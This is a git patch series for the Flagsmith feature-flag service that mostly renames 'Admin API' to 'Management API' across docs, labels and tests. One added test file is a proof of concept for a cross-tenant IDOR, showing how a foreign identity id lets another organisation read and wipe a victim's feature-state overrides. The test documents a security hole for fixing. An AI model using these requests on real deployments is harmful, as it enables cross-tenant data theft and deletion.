From 12d93679bdded9f720b44795d7abff6d741e795e Mon Sep 17 00:00:00 2001 From: BakirFS Date: Wed, 2 Sep 2026 16:14:49 +0200 Subject: [PATCH 1/4] drafting --- api/README.md | 2 +- api/api/openapi.py | 4 +- api/app/settings/common.py | 4 +- .../test_token_exchange.py | 2 +- ...poc_cross_tenant_identity_featurestates.py | 236 ++++++++++++++++++ .../oauth2_metadata/test_authorize_view.py | 2 +- .../unit/oauth2_metadata/test_mappers.py | 2 +- api/trust_relationships/serializers.py | 2 +- .../access-control/rbac.md | 8 +- .../billing-api-usage.md | 2 +- .../data-management/import-and-export.md | 2 +- .../organisations-import-export.md | 4 +- .../custom-fields.md | 2 +- .../system-limits.md | 9 +- .../deployment-self-hosting/mcp-server.md | 6 +- docs/docs/getting-started/glossary.md | 56 +++-- docs/docs/getting-started/quick-start.md | 2 +- docs/docs/integrating-with-flagsmith/CLI.md | 8 +- .../flagsmith-api-overview/admin-api/index.md | 18 -- .../flagsmith-api-overview/index.md | 6 +- .../authentication.md | 8 +- .../code-examples.md | 2 +- .../management-api/index.md | 22 ++ .../integrating-with-flagsmith/mcp-server.mdx | 4 +- .../integrating-with-flagsmith/sdks/index.md | 4 +- docs/docs/managing-flags/code-references.md | 2 +- .../docs/managing-flags/feature-versioning.md | 2 +- docs/docs/performance/real-time-flags.md | 35 ++- docs/docs/sdk-api/flagsmith-api.info.mdx | 2 +- .../faq/feature-flags-remote-config.mdx | 2 +- .../ci-cd/terraform.md | 2 +- docs/sdk/sdk-api-info.mdx | 13 +- docs/src/pages/index.tsx | 2 +- docs/static/img/rbac-permissions-diagram.svg | 2 +- docs/vercel.json | 12 + frontend/env/project_local.js | 5 + .../{AdminAPIKeys.js => ManagementAPIKeys.js} | 8 +- .../organisation-settings/tabs/APIKeysTab.tsx | 4 +- 38 files changed, 403 insertions(+), 105 deletions(-) create mode 100644 api/tests/unit/environments/identities/test_poc_cross_tenant_identity_featurestates.py delete mode 100644 docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/index.md rename docs/docs/integrating-with-flagsmith/flagsmith-api-overview/{admin-api => management-api}/authentication.md (90%) rename docs/docs/integrating-with-flagsmith/flagsmith-api-overview/{admin-api => management-api}/code-examples.md (87%) create mode 100644 docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/index.md rename frontend/web/components/{AdminAPIKeys.js => ManagementAPIKeys.js} (98%) diff --git a/api/README.md b/api/README.md index 0c2fb4d7ac7a..d5dd6360e6b0 100644 --- a/api/README.md +++ b/api/README.md @@ -122,7 +122,7 @@ Add your feature as early as possible to the Flagsmith on Flagsmith project. You Self-hosted installations evaluate against the offline defaults in `integrations/flagsmith/data/environment.json`, so a flag that is missing from it falls back to the default value at its call site. That document holds only the flags tagged `api`, so tag yours or it will not reach self-hosted installations. -To refresh it, run `make update-flagsmith-environment`. This needs the [Flagsmith CLI](https://docs.flagsmith.com/integrating-with-flagsmith/CLI) and an Admin API credential — a browser login via `flagsmith login` is enough. The `update-flagsmith-environment` workflow runs the same target daily and opens a pull request, so dispatching it is the alternative to running it yourself. +To refresh it, run `make update-flagsmith-environment`. This needs the [Flagsmith CLI](https://docs.flagsmith.com/integrating-with-flagsmith/CLI) and a Management API credential — a browser login via `flagsmith login` is enough. The `update-flagsmith-environment` workflow runs the same target daily and opens a pull request, so dispatching it is the alternative to running it yourself. ### Code guidelines: migrations diff --git a/api/api/openapi.py b/api/api/openapi.py index fb3d5d91f56a..22727bc49691 100644 --- a/api/api/openapi.py +++ b/api/api/openapi.py @@ -157,8 +157,8 @@ def get_security_definition( "in": "header", "name": "Authorization", "description": ( - "For Admin API endpoints. " - "Find out more." + "For Management API endpoints. " + "Find out more." ), } diff --git a/api/app/settings/common.py b/api/app/settings/common.py index 219e6aba9437..7a67913a4688 100644 --- a/api/app/settings/common.py +++ b/api/app/settings/common.py @@ -987,7 +987,9 @@ "ALLOWED_CODE_CHALLENGE_METHODS": ["S256"], "SCOPES": { "mcp": "MCP access", - "admin-api": "Admin API access", + # NB: the `admin-api` key is a published OAuth scope identifier sent by + # the Flagsmith CLI — only the human-readable label may change. + "admin-api": "Management API access", }, "DEFAULT_SCOPES": ["mcp"], "SCOPES_BACKEND_CLASS": "oauth2_metadata.scopes.FlagsmithScopes", diff --git a/api/tests/integration/trust_relationships/test_token_exchange.py b/api/tests/integration/trust_relationships/test_token_exchange.py index 51147bacf7b3..76eee0debb91 100644 --- a/api/tests/integration/trust_relationships/test_token_exchange.py +++ b/api/tests/integration/trust_relationships/test_token_exchange.py @@ -28,7 +28,7 @@ def test_token_exchange__matching_token__returns_usable_access_token( assert response_json["token_type"] == "Bearer" assert response_json["expires_in"] == 3600 - # And the minted token authenticates against the admin API + # And the minted token authenticates against the Management API machine_client.credentials( HTTP_AUTHORIZATION=f"Bearer {response_json['access_token']}" ) diff --git a/api/tests/unit/environments/identities/test_poc_cross_tenant_identity_featurestates.py b/api/tests/unit/environments/identities/test_poc_cross_tenant_identity_featurestates.py new file mode 100644 index 000000000000..a8776ad213e5 --- /dev/null +++ b/api/tests/unit/environments/identities/test_poc_cross_tenant_identity_featurestates.py @@ -0,0 +1,236 @@ +""" +TEMPORARY PROOF OF CONCEPT for the cross-tenant IDOR on the nested identity +feature-state actions (`all` and `clone-from-given-identity`). + +These tests assert the *current, vulnerable* behaviour, so they pass on HEAD and +will fail once the identity lookup is environment-scoped. +""" + +import json + +import pytest +from common.environments.permissions import VIEW_ENVIRONMENT +from django.urls import reverse +from rest_framework import status +from rest_framework.test import APIClient + +from environments.identities.models import Identity +from environments.models import Environment +from features.models import Feature, FeatureState, FeatureStateValue +from organisations.models import Organisation, OrganisationRole +from projects.models import Project +from tests.unit.environments.helpers import get_environment_user_client +from users.models import FFAdminUser + +VICTIM_SECRET = "victim-secret-value" + + +@pytest.fixture() +def victim_environment(db: None) -> Environment: + organisation = Organisation.objects.create(name="Victim Org") + project = Project.objects.create(name="Victim Project", organisation=organisation) + return Environment.objects.create(name="Victim Production", project=project) + + +@pytest.fixture() +def victim_feature(victim_environment: Environment) -> Feature: + return Feature.objects.create( + project=victim_environment.project, + name="victim_feature", + initial_value="default", + ) + + +@pytest.fixture() +def victim_identity(victim_environment: Environment) -> Identity: + return Identity.objects.create( + identifier="victim_user", environment=victim_environment + ) + + +@pytest.fixture() +def victim_override( + victim_environment: Environment, + victim_feature: Feature, + victim_identity: Identity, +) -> FeatureState: + feature_state = FeatureState.objects.create( + feature=victim_feature, + environment=victim_environment, + identity=victim_identity, + enabled=True, + ) + FeatureStateValue.objects.filter(feature_state=feature_state).update( + string_value=VICTIM_SECRET + ) + return feature_state + + +@pytest.fixture() +def attacker_environment(db: None) -> Environment: + organisation = Organisation.objects.create(name="Attacker Org") + project = Project.objects.create(name="Attacker Project", organisation=organisation) + return Environment.objects.create(name="Attacker Production", project=project) + + +@pytest.fixture() +def attacker_identity(attacker_environment: Environment) -> Identity: + return Identity.objects.create( + identifier="attacker_user", environment=attacker_environment + ) + + +@pytest.fixture() +def attacker_admin_client(attacker_environment: Environment) -> APIClient: + """Admin of the attacker's own organisation — nothing more.""" + user = FFAdminUser.objects.create(email="attacker_admin@example.com") + user.add_organisation( + attacker_environment.project.organisation, role=OrganisationRole.ADMIN + ) + client = APIClient() + client.force_authenticate(user) + return client + + +@pytest.fixture() +def attacker_viewer_client(attacker_environment: Environment) -> APIClient: + """Non-admin holding only VIEW_ENVIRONMENT on the attacker's own environment.""" + user = FFAdminUser.objects.create(email="attacker_viewer@example.com") + user.add_organisation(attacker_environment.project.organisation) + return get_environment_user_client( + user=user, + environment=attacker_environment, + permission_keys=[VIEW_ENVIRONMENT], + ) + + +def test_all__foreign_identity_pk__leaks_victim_feature_states( + attacker_admin_client: APIClient, + attacker_environment: Environment, + victim_identity: Identity, + victim_override: FeatureState, +) -> None: + # Given + url = reverse( + "api-v1:environments:identity-featurestates-all", + args=[attacker_environment.api_key, victim_identity.id], + ) + + # When + response = attacker_admin_client.get(url) + + # Then + assert response.status_code == status.HTTP_200_OK + assert VICTIM_SECRET in json.dumps(response.json()) + + +def test_all__foreign_identity_pk_as_mere_viewer__leaks_victim_feature_states( + attacker_viewer_client: APIClient, + attacker_environment: Environment, + victim_identity: Identity, + victim_override: FeatureState, +) -> None: + """The read needs only VIEW_ENVIRONMENT on an environment the caller owns.""" + # Given + url = reverse( + "api-v1:environments:identity-featurestates-all", + args=[attacker_environment.api_key, victim_identity.id], + ) + + # When + response = attacker_viewer_client.get(url) + + # Then + assert response.status_code == status.HTTP_200_OK + assert VICTIM_SECRET in json.dumps(response.json()) + + +def test_clone__foreign_target_identity__wipes_victim_overrides( + attacker_admin_client: APIClient, + attacker_environment: Environment, + attacker_identity: Identity, + victim_identity: Identity, + victim_override: FeatureState, +) -> None: + """Cloning an override-free source onto a foreign target deletes its overrides.""" + # Given + url = reverse( + "api-v1:environments:identity-featurestates-clone-from-given-identity", + args=[attacker_environment.api_key, victim_identity.id], + ) + + # When + response = attacker_admin_client.post( + url, + data=json.dumps({"source_identity_id": attacker_identity.id}), + content_type="application/json", + ) + + # Then + assert response.status_code == status.HTTP_200_OK + assert not FeatureState.objects.filter(identity=victim_identity).exists() + # The response also discloses the victim identity's effective flags. + assert response.json() + + +def test_clone__as_mere_viewer__returns_forbidden( + attacker_viewer_client: APIClient, + attacker_environment: Environment, + attacker_identity: Identity, + victim_identity: Identity, + victim_override: FeatureState, +) -> None: + """ + `clone_from_given_identity` has no action_permission_map entry, so the + required permission is None. That only passes via the project/organisation + admin short-circuit, so a plain viewer is still rejected. + """ + # Given + url = reverse( + "api-v1:environments:identity-featurestates-clone-from-given-identity", + args=[attacker_environment.api_key, victim_identity.id], + ) + + # When + response = attacker_viewer_client.post( + url, + data=json.dumps({"source_identity_id": attacker_identity.id}), + content_type="application/json", + ) + + # Then + assert response.status_code == status.HTTP_403_FORBIDDEN + assert FeatureState.objects.filter(identity=victim_identity).exists() + + +def test_clone__foreign_source_identity__errors_without_persisting( + attacker_admin_client: APIClient, + attacker_environment: Environment, + attacker_identity: Identity, + victim_identity: Identity, + victim_feature: Feature, + victim_override: FeatureState, +) -> None: + """ + Pulling a foreign identity's overrides in as the *source* does not leak them: + the clone writes a cross-project feature state, which crashes the audit-log + hook and rolls the whole write back (HTTP 500). + """ + # Given + url = reverse( + "api-v1:environments:identity-featurestates-clone-from-given-identity", + args=[attacker_environment.api_key, attacker_identity.id], + ) + + # When + with pytest.raises(AttributeError): + attacker_admin_client.post( + url, + data=json.dumps({"source_identity_id": victim_identity.id}), + content_type="application/json", + ) + + # Then + assert not FeatureState.objects.filter( + environment=attacker_environment, feature=victim_feature + ).exists() diff --git a/api/tests/unit/oauth2_metadata/test_authorize_view.py b/api/tests/unit/oauth2_metadata/test_authorize_view.py index 0467f5652458..75a44657d432 100644 --- a/api/tests/unit/oauth2_metadata/test_authorize_view.py +++ b/api/tests/unit/oauth2_metadata/test_authorize_view.py @@ -339,7 +339,7 @@ def test_get__flagsmith_cli_requests_admin_api__returns_application_info( data = response.json() assert data["application"]["client_id"] == FLAGSMITH_CLI_CLIENT_ID assert data["scopes"]["admin-api"] == { - "label": "Admin API access", + "label": "Management API access", "grants": list(SCOPE_GRANTS[SCOPE_ADMIN_API]), } assert data["is_verified"] is True diff --git a/api/tests/unit/oauth2_metadata/test_mappers.py b/api/tests/unit/oauth2_metadata/test_mappers.py index 81a78d18a06f..af40b2b6c011 100644 --- a/api/tests/unit/oauth2_metadata/test_mappers.py +++ b/api/tests/unit/oauth2_metadata/test_mappers.py @@ -20,7 +20,7 @@ def test_map_scopes_to_descriptions__described_scopes__returns_labels_and_grants "grants": list(SCOPE_GRANTS[SCOPE_MCP]), }, SCOPE_ADMIN_API: { - "label": "Admin API access", + "label": "Management API access", "grants": list(SCOPE_GRANTS[SCOPE_ADMIN_API]), }, } diff --git a/api/trust_relationships/serializers.py b/api/trust_relationships/serializers.py index 8df7625d4941..9f07cd6d82f0 100644 --- a/api/trust_relationships/serializers.py +++ b/api/trust_relationships/serializers.py @@ -21,7 +21,7 @@ class TokenExchangeRequestSerializer(serializers.Serializer[None]): class TokenExchangeResponseSerializer(serializers.Serializer[dict[str, Any]]): access_token = serializers.CharField( - help_text="Short-lived access token for the Admin API.", + help_text="Short-lived access token for the Management API.", ) token_type = serializers.CharField(help_text='Always "Bearer".') expires_in = serializers.IntegerField( diff --git a/docs/docs/administration-and-security/access-control/rbac.md b/docs/docs/administration-and-security/access-control/rbac.md index 4f4313c6850f..e999a50811e3 100644 --- a/docs/docs/administration-and-security/access-control/rbac.md +++ b/docs/docs/administration-and-security/access-control/rbac.md @@ -17,7 +17,7 @@ For example, RBAC allows you to achieve the following scenarios: - Only allow certain users to modify your production environments. - Grant a default set of permissions to all users that join your Flagsmith organisation. -- Lock down an [Admin API](/integrating-with-flagsmith/flagsmith-api-overview/admin-api) key to a specific set of permissions. +- Lock down an [Management API](/integrating-with-flagsmith/flagsmith-api-overview/management-api) key to a specific set of permissions. - Provide Flagsmith permissions based on your enterprise identity provider's groups when using [SAML single sign-on](/administration-and-security/access-control/saml). @@ -28,7 +28,7 @@ left and open the **Users and Permissions** tab. ### How permissions are assigned -Permissions are granted to **[roles](#roles)**, and roles are assigned to users, [groups](#groups), or [Admin API keys](/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication). A user's effective permissions are the **union of all permissions** from every role assigned to them — both directly and through group membership. +Permissions are granted to **[roles](#roles)**, and roles are assigned to users, [groups](#groups), or [Management API keys](/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication). A user's effective permissions are the **union of all permissions** from every role assigned to them — both directly and through group membership. ![How permissions are assigned](/img/rbac-permissions-diagram.svg) @@ -69,7 +69,7 @@ This granular approach allows you to give users administrative control exactly w #### Custom roles -**Custom roles** can be assigned to users, groups or [Admin API](/integrating-with-flagsmith/flagsmith-api-overview/admin-api) keys. Any +**Custom roles** can be assigned to users, groups or [Management API](/integrating-with-flagsmith/flagsmith-api-overview/management-api) keys. Any number of custom roles can be created and assigned. Creating, modifying or assigning roles requires organisation administrator permissions. @@ -299,7 +299,7 @@ assign it to the group instead. Assigning roles to groups has several benefits over assigning permissions directly to a group: -- Roles can be assigned to Admin API keys, but Admin API keys cannot belong to groups. +- Roles can be assigned to Management API keys, but Management API keys cannot belong to groups. - If you need multiple groups or users with similar permissions, the common permissions can be defined in a role and assigned to multiple groups or users instead of being duplicated. - Having roles as the single place where permissions are defined makes auditing permissions easier. diff --git a/docs/docs/administration-and-security/billing-api-usage.md b/docs/docs/administration-and-security/billing-api-usage.md index f317f52acaeb..f76e64bfbd56 100644 --- a/docs/docs/administration-and-security/billing-api-usage.md +++ b/docs/docs/administration-and-security/billing-api-usage.md @@ -45,7 +45,7 @@ default) to fetch the flags for the current environment and all users in one API The following requests are not billable: -- [Admin API](/integrating-with-flagsmith/flagsmith-api-overview/admin-api) requests. +- [Management API](/integrating-with-flagsmith/flagsmith-api-overview/management-api) requests. - Requests made by Flagsmith SDKs to track [Flag Analytics](/managing-flags/flag-analytics). - Connecting to a [real-time flag updates](/performance/real-time-flags) stream. diff --git a/docs/docs/administration-and-security/data-management/import-and-export.md b/docs/docs/administration-and-security/data-management/import-and-export.md index f9815b441998..57fdbbdb202a 100644 --- a/docs/docs/administration-and-security/data-management/import-and-export.md +++ b/docs/docs/administration-and-security/data-management/import-and-export.md @@ -17,7 +17,7 @@ There are several ways of importing or exporting Flagsmith data: between Flagsmith projects. * [Organisation import/export](organisations-import-export). Export an entire Flagsmith organisation and copy it to a different Flagsmith instance. -* Use the [Admin API](/integrating-with-flagsmith/flagsmith-api-overview/admin-api) to manually manage your Flagsmith data. +* Use the [Management API](/integrating-with-flagsmith/flagsmith-api-overview/management-api) to manually manage your Flagsmith data. ## Import from third-party services diff --git a/docs/docs/administration-and-security/data-management/organisations-import-export.md b/docs/docs/administration-and-security/data-management/organisations-import-export.md index b52411152a59..8d0fbd8b1ae4 100644 --- a/docs/docs/administration-and-security/data-management/organisations-import-export.md +++ b/docs/docs/administration-and-security/data-management/organisations-import-export.md @@ -46,7 +46,7 @@ We **will not** export the following entities: - Audit logs - Change requests - Scheduled flag changes -- Admin API keys +- Management API keys - Groups and custom roles - SAML configurations and login method restrictions @@ -179,7 +179,7 @@ following methods: the URL bar: `https://flagsmith.example.com/organisation/YOUR_ORGANISATION_ID/...`. * From [Django Admin](/deployment-self-hosting/administration-and-maintenance/using-the-django-admin), browse to the Organisations section in the sidebar. Here you can see all of your organisations and their IDs. -* If you have an Admin API key, call the +* If you have an Management API key, call the [List Organisations API endpoint](https://api.flagsmith.com/api/v1/docs/#/api/api_v1_organisations_list). This returns all the organisations that your API key is a member of. diff --git a/docs/docs/administration-and-security/governance-and-compliance/custom-fields.md b/docs/docs/administration-and-security/governance-and-compliance/custom-fields.md index dcd0970f6817..3abb03ece24e 100644 --- a/docs/docs/administration-and-security/governance-and-compliance/custom-fields.md +++ b/docs/docs/administration-and-security/governance-and-compliance/custom-fields.md @@ -69,7 +69,7 @@ Custom fields are mainly intended to be read by humans visiting the Flagsmith da Custom field values associated with features belong to the features themselves, and not an environment's feature state; you cannot override custom field values in different environments, segments or identities. They are not returned to applications that consume flags. -Custom field values are added directly to the `metadata` field of the entity they are defined in, which can be read using the [Flagsmith Admin API](/integrating-with-flagsmith/flagsmith-api-overview/admin-api). For example, to fetch a feature's custom fields, use the [endpoint to fetch a feature by ID](https://api.flagsmith.com/api/v1/docs/#/api/api_v1_projects_features_read): +Custom field values are added directly to the `metadata` field of the entity they are defined in, which can be read using the [Flagsmith Management API](/integrating-with-flagsmith/flagsmith-api-overview/management-api). For example, to fetch a feature's custom fields, use the [endpoint to fetch a feature by ID](https://api.flagsmith.com/api/v1/docs/#/api/api_v1_projects_features_read): ```shell curl "https://api.flagsmith.com/api/v1/projects/YOUR_PROJECT_ID/features/YOUR_FEATURE_ID/" \ diff --git a/docs/docs/administration-and-security/governance-and-compliance/system-limits.md b/docs/docs/administration-and-security/governance-and-compliance/system-limits.md index 172ff47b4949..e6e12d4b1f91 100644 --- a/docs/docs/administration-and-security/governance-and-compliance/system-limits.md +++ b/docs/docs/administration-and-security/governance-and-compliance/system-limits.md @@ -31,7 +31,8 @@ Please contact us if you want to override the current system limits. ### Self Hosted You can modify the system limits on a per-Project basis. These limits are defined in the database against the Project. -The easiest way to modify them is with the [Django admin](/deployment-self-hosting/administration-and-maintenance/using-the-django-admin) interface. +The easiest way to modify them is with the +[Django admin](/deployment-self-hosting/administration-and-maintenance/using-the-django-admin) interface. ## Traffic Limits @@ -73,10 +74,10 @@ to our [Pricing Page](https://www.flagsmith.com/pricing) for overage pricing. We will bill you for all overage above your plan in the current calendar month. You will be charged for the overage at the end of your billing period. -### Admin API Rate Limit +### Management API Rate Limit -Requests made to [Admin API endpoints](/integrating-with-flagsmith/flagsmith-api-overview/admin-api) (i.e., non-SDK endpoints) are subject -to a default rate limit of 500 requests per minute. +Requests made to [Management API endpoints](/integrating-with-flagsmith/flagsmith-api-overview/management-api) (i.e., +non-SDK endpoints) are subject to a default rate limit of 500 requests per minute. If you are self-hosting, you have the flexibility to modify this limit by adjusting the value of the environment variable `USER_THROTTLE_RATE`. diff --git a/docs/docs/deployment-self-hosting/mcp-server.md b/docs/docs/deployment-self-hosting/mcp-server.md index 2b7c6f41fd2b..2dd923407663 100644 --- a/docs/docs/deployment-self-hosting/mcp-server.md +++ b/docs/docs/deployment-self-hosting/mcp-server.md @@ -8,7 +8,7 @@ description: Run the Flagsmith MCP Server as part of your self-hosted deployment import Tabs from '@theme/Tabs'; import TabItem from '@theme/TabItem'; The [Flagsmith MCP Server](/integrating-with-flagsmith/mcp-server) gives AI assistants and agents access to the -Flagsmith Admin API through the [Model Context Protocol](https://modelcontextprotocol.io). On Flagsmith SaaS it is +Flagsmith Management API through the [Model Context Protocol](https://modelcontextprotocol.io). On Flagsmith SaaS it is hosted for you at `https://mcp.flagsmith.com`. When you self-host Flagsmith, you run the server yourself as an additional container alongside your API. @@ -112,7 +112,7 @@ The server is configured entirely through environment variables. | `TRANSPORT` | `http` | MCP transport. Use `http` for a hosted server. `stdio` runs the server as a local subprocess and requires `FLAGSMITH_API_TOKEN`. | | `FASTMCP_HOST` | `0.0.0.0` | Host the HTTP transport binds to. | | `FASTMCP_PORT` | `8000` | Port the HTTP transport binds to. | -| `FLAGSMITH_API_TOKEN` | _(unset)_ | A static [API key](/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication) the server uses for every request. See [Authentication](#authentication). | +| `FLAGSMITH_API_TOKEN` | _(unset)_ | A static [API key](/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication) the server uses for every request. See [Authentication](#authentication). | | `METRICS_PORT` | _(unset)_ | Serve [Prometheus metrics](/deployment-self-hosting/observability/metrics) on this port. Disabled when unset. | | `LOG_LEVEL` | `INFO` | Log level for application loggers. | | `LOG_FORMAT` | `generic` | Log output format. Set to `json` for structured logs. | @@ -137,7 +137,7 @@ key instead. ### API key (non-interactive clients) Clients can authenticate per request by sending an -[Organisation API key](/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication) in the +[Organisation API key](/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication) in the `Authorization` header: ``` diff --git a/docs/docs/getting-started/glossary.md b/docs/docs/getting-started/glossary.md index f9897b5784cd..b48571ff8bc1 100644 --- a/docs/docs/getting-started/glossary.md +++ b/docs/docs/getting-started/glossary.md @@ -6,38 +6,58 @@ sidebar_position: 3 This glossary provides concise definitions for some of the key concepts within Flagsmith: -- [**A/B Testing**](/experimentation-ab-testing): A method of testing different feature variants with different user groups, often implemented using multivariate flags and percentage splits. +- [**A/B Testing**](/experimentation-ab-testing): A method of testing different feature variants with different user + groups, often implemented using multivariate flags and percentage splits. -- [**Core API**](/integrating-with-flagsmith/flagsmith-api-overview/admin-api): Flagsmith's private API for programmatic control of the platform. +- [**Core API**](/integrating-with-flagsmith/flagsmith-api-overview/management-api): Flagsmith's private API for + programmatic control of the platform. -- [**Edge API**](/performance/edge-api): Flagsmith's publicly accessible API, specifically intended for use with our SDKs. +- [**Edge API**](/performance/edge-api): Flagsmith's publicly accessible API, specifically intended for use with our + SDKs. -- [**Edge Proxy**](/performance/edge-proxy): A self-hosted service that provides a local, low-latency interface to the Flagsmith API. +- [**Edge Proxy**](/performance/edge-proxy): A self-hosted service that provides a local, low-latency interface to the + Flagsmith API. -- [**Environment**](/flagsmith-concepts/data-model#environments): Environments are a way to separate the configuration of your features. A project can have any number of environments. +- [**Environment**](/flagsmith-concepts/data-model#environments): Environments are a way to separate the configuration + of your features. A project can have any number of environments. -- [**Environment Document**](/integrating-with-flagsmith/sdks/#the-environment-document): A JSON document containing all configuration for feature flags in an environment. +- [**Environment Document**](/integrating-with-flagsmith/sdks/#the-environment-document): A JSON document containing all + configuration for feature flags in an environment. -- [**Feature**](/flagsmith-concepts/data-model#features): A configuration that can be enabled, disabled, or set to a specific value. Features are shared across all Environments in a project, but their values/states can be modified between Environments. +- [**Feature**](/flagsmith-concepts/data-model#features): A configuration that can be enabled, disabled, or set to a + specific value. Features are shared across all Environments in a project, but their values/states can be modified + between Environments. -- [**Feature Flag**](/getting-started/feature-flags): A boolean or multivariate switch to enable/disable features or set their values dynamically without deploying code. +- [**Feature Flag**](/getting-started/feature-flags): A boolean or multivariate switch to enable/disable features or set + their values dynamically without deploying code. -- [**Identity**](/flagsmith-concepts/data-model#identities): An entity within a particular environment, against which you can manage and override feature settings. +- [**Identity**](/flagsmith-concepts/data-model#identities): An entity within a particular environment, against which + you can manage and override feature settings. -- [**Local Evaluation Mode**](/integrating-with-flagsmith/sdks/#local-evaluation): A mode where the SDK evaluates feature flags locally using a downloaded environment document, reducing latency and API calls. +- [**Local Evaluation Mode**](/integrating-with-flagsmith/sdks/#local-evaluation): A mode where the SDK evaluates + feature flags locally using a downloaded environment document, reducing latency and API calls. -- [**Multivariate Flag**](/managing-flags/core-management): A feature flag that can take on multiple values (not just on/off), useful for A/B testing. +- [**Multivariate Flag**](/managing-flags/core-management): A feature flag that can take on multiple values (not just + on/off), useful for A/B testing. -- [**Organisation**](/flagsmith-concepts/data-model#organisations): Organisations are a way for you and other team members to manage projects and their features. Users can be members of multiple organisations. +- [**Organisation**](/flagsmith-concepts/data-model#organisations): Organisations are a way for you and other team + members to manage projects and their features. Users can be members of multiple organisations. -- [**Project**](/flagsmith-concepts/data-model#projects): Projects contain one or more Environments that share a single set of Features across all of the Environments within the Project. Organisations can have any number of Projects. +- [**Project**](/flagsmith-concepts/data-model#projects): Projects contain one or more Environments that share a single + set of Features across all of the Environments within the Project. Organisations can have any number of Projects. -- [**Role-Based Access Control (RBAC)**](/administration-and-security/access-control/rbac): A system for managing user permissions and access within an organisation. +- [**Role-Based Access Control (RBAC)**](/administration-and-security/access-control/rbac): A system for managing user + permissions and access within an organisation. -- [**SDK (Software Development Kit)**](/integrating-with-flagsmith/integration-overview): Client libraries provided by Flagsmith for integrating feature flagging into applications. +- [**SDK (Software Development Kit)**](/integrating-with-flagsmith/integration-overview): Client libraries provided by + Flagsmith for integrating feature flagging into applications. -- [**Segment**](/flagsmith-concepts/data-model#segments): A group of identities defined by traits (e.g., logins, device, location, or custom traits). You can override feature defaults for segments, such as enabling features for a "power user" group. +- [**Segment**](/flagsmith-concepts/data-model#segments): A group of identities defined by traits (e.g., logins, device, + location, or custom traits). You can override feature defaults for segments, such as enabling features for a "power + user" group. -- [**Staged Rollout**](/managing-flags/rollout/rollout-by-percentage): Gradually enabling a feature for increasing percentages of your identities to reduce risk. +- [**Staged Rollout**](/managing-flags/rollout/rollout-by-percentage): Gradually enabling a feature for increasing + percentages of your identities to reduce risk. -- [**Trait**](/flagsmith-concepts/data-model#traits): A key-value pair associated with an identity that can store any type of data. +- [**Trait**](/flagsmith-concepts/data-model#traits): A key-value pair associated with an identity that can store any + type of data. diff --git a/docs/docs/getting-started/quick-start.md b/docs/docs/getting-started/quick-start.md index c10d96b1e2b6..60d0f755f120 100644 --- a/docs/docs/getting-started/quick-start.md +++ b/docs/docs/getting-started/quick-start.md @@ -185,5 +185,5 @@ From here, some areas of the documentation you might want to check out are: - [SDKs & Integrations](/integrating-with-flagsmith/integration-overview): Explore all supported SDKs for integrating Flagsmith with your technology stack. ### Automation & API Access -- [REST API Reference](/integrating-with-flagsmith/flagsmith-api-overview/admin-api/): Learn how to manage flags programmatically and automate flag changes. +- [REST API Reference](/integrating-with-flagsmith/flagsmith-api-overview/management-api/): Learn how to manage flags programmatically and automate flag changes. diff --git a/docs/docs/integrating-with-flagsmith/CLI.md b/docs/docs/integrating-with-flagsmith/CLI.md index d6b07e780493..1f8092c1f0e5 100644 --- a/docs/docs/integrating-with-flagsmith/CLI.md +++ b/docs/docs/integrating-with-flagsmith/CLI.md @@ -77,7 +77,7 @@ flagsmith api /projects/ # call any Flagsmith endpoint w Common conventions: - `--json` for machine-readable output; `--jq ` to filter it. -- Static credentials: `FLAGSMITH_API_KEY` (Admin API) or `FLAGSMITH_ENVIRONMENT_KEY` (SDK). +- Static credentials: `FLAGSMITH_API_KEY` (Management API) or `FLAGSMITH_ENVIRONMENT_KEY` (SDK). - Self-hosted: `--api-url` or `FLAGSMITH_API_URL`. For the full command reference, see the [README](https://github.com/Flagsmith/flagsmith-cli#commands). @@ -87,7 +87,7 @@ For the full command reference, see the [README](https://github.com/Flagsmith/fl ### GitHub Actions Configure an -[OIDC trust relationship](/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication#oidc-trust-relationships) +[OIDC trust relationship](/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication#oidc-trust-relationships) for your repository, then use the [`Flagsmith/setup-cli`](https://github.com/Flagsmith/setup-cli) action: @@ -110,7 +110,7 @@ them explicitly with `--project` and `--environment`. ### Other providers If your CI provider supports OIDC, you can set up -[a generic trust relationship](/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication#other-oidc-providers) +[a generic trust relationship](/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication#other-oidc-providers) for it. Here are some of the CI providers that support OIDC: @@ -129,7 +129,7 @@ Here are some of the CI providers that support OIDC: On CI systems that don't support OIDC, pass a static credential instead. Management commands expect a `FLAGSMITH_API_KEY` variable (a -[Master API Key](/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication#generating-an-api-token)). +[Master API Key](/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication#generating-an-api-token)). If you only need `flagsmith eval`, providing an environment key via `FLAGSMITH_ENVIRONMENT_KEY` variable containing a [client-side](/integrating-with-flagsmith/flagsmith-api-overview/flags-api/authentication) or diff --git a/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/index.md b/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/index.md deleted file mode 100644 index ee9bc0566df9..000000000000 --- a/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Admin API -sidebar_label: Admin API ---- - -The Admin API allows you to programmatically manage your Flagsmith projects, environments, features, segments, and users. Essentially, any action you can perform in the Flagsmith dashboard can also be accomplished via the Admin API. - -This API is designed for automation, integrations, and building custom workflows on top of Flagsmith. - -## API Explorer - -You can explore the full Admin API via Swagger at [https://api.flagsmith.com/api/v1/docs/](https://api.flagsmith.com/api/v1/docs/). You can also get the OpenAPI specification in [JSON](https://api.flagsmith.com/api/v1/swagger.json) or [YAML](https://api.flagsmith.com/api/v1/swagger.yaml) format. - -We also have a [Postman Collection](https://www.postman.com/flagsmith/workspace/flagsmith/overview) that you can use to experiment with the API. - -:::info -Our Admin API has a [Rate 